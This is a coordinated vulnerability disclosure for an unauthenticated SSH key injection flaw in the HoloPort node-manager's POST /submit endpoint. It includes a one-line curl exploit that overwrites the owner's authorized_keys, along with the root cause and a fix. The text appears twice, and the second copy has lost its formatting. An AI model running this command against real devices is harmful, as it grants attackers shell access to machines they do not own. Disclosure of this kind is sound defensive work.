SECURITY DISCLOSURE -- HoloPort node-manager POST /submit Auth Bypass (SSH Key Injection)
The node-manager service on every deployed HoloPort (port 8080) accepts unauthenticated POST requests to /submit after the node is already onboarded. An attacker on the same network can overwrite the owner's SSH authorized_keys file and gain full shell access.
Root cause: src/main.rs routing table applies is_authenticated to every management route except POST /submit. There is no state.onboarded guard either. write_ssh_keys at line 195 overwrites (not appends) the entire authorized_keys file.
Attack (one command, no auth):
curl -X POST http://<holo-node-ip>:8080/submit \
-H "Content-Type: application/json" \
-d '{"nodeName":"victim-node","sshKey":"ssh-ed25519 AAAA<attacker-key>","hwMode":"STANDARD"}'Returns {"status":"ok"} on an already-onboarded node. Legitimate owner's SSH keys erased. Attacker gets full shell on HoloPort.
Severity: P2 (High) on LAN, Critical if port 8080 is internet-exposed.
Recommended fix: Add if state.onboarded { return 403; } at the top of handle_submit.
Coordinated disclosure. Requesting 90-day window before publishing.
-- Independent security researcher
SECURITY DISCLOSURE -- HoloPort node-manager POST /submit Auth Bypass (SSH Key Injection)
The node-manager service on every deployed HoloPort (port 8080) accepts unauthenticated POST requests to
/submitafter the node is already onboarded. An attacker on the same network can overwrite the owner's SSHauthorized_keysfile and gain full shell access.Root cause:
src/main.rsrouting table appliesis_authenticatedto every management route exceptPOST /submit. There is nostate.onboardedguard either.write_ssh_keysat line 195 overwrites (not appends) the entireauthorized_keysfile.Attack (one command, no auth):
Returns
{"status":"ok"}on an already-onboarded node. Legitimate owner's SSH keys erased. Attacker gets full shell on HoloPort.Severity: P2 (High) on LAN, Critical if port 8080 is internet-exposed.
Recommended fix: Add
if state.onboarded { return 403; }at the top ofhandle_submit.Coordinated disclosure. Requesting 90-day window before publishing.
-- Independent security researcher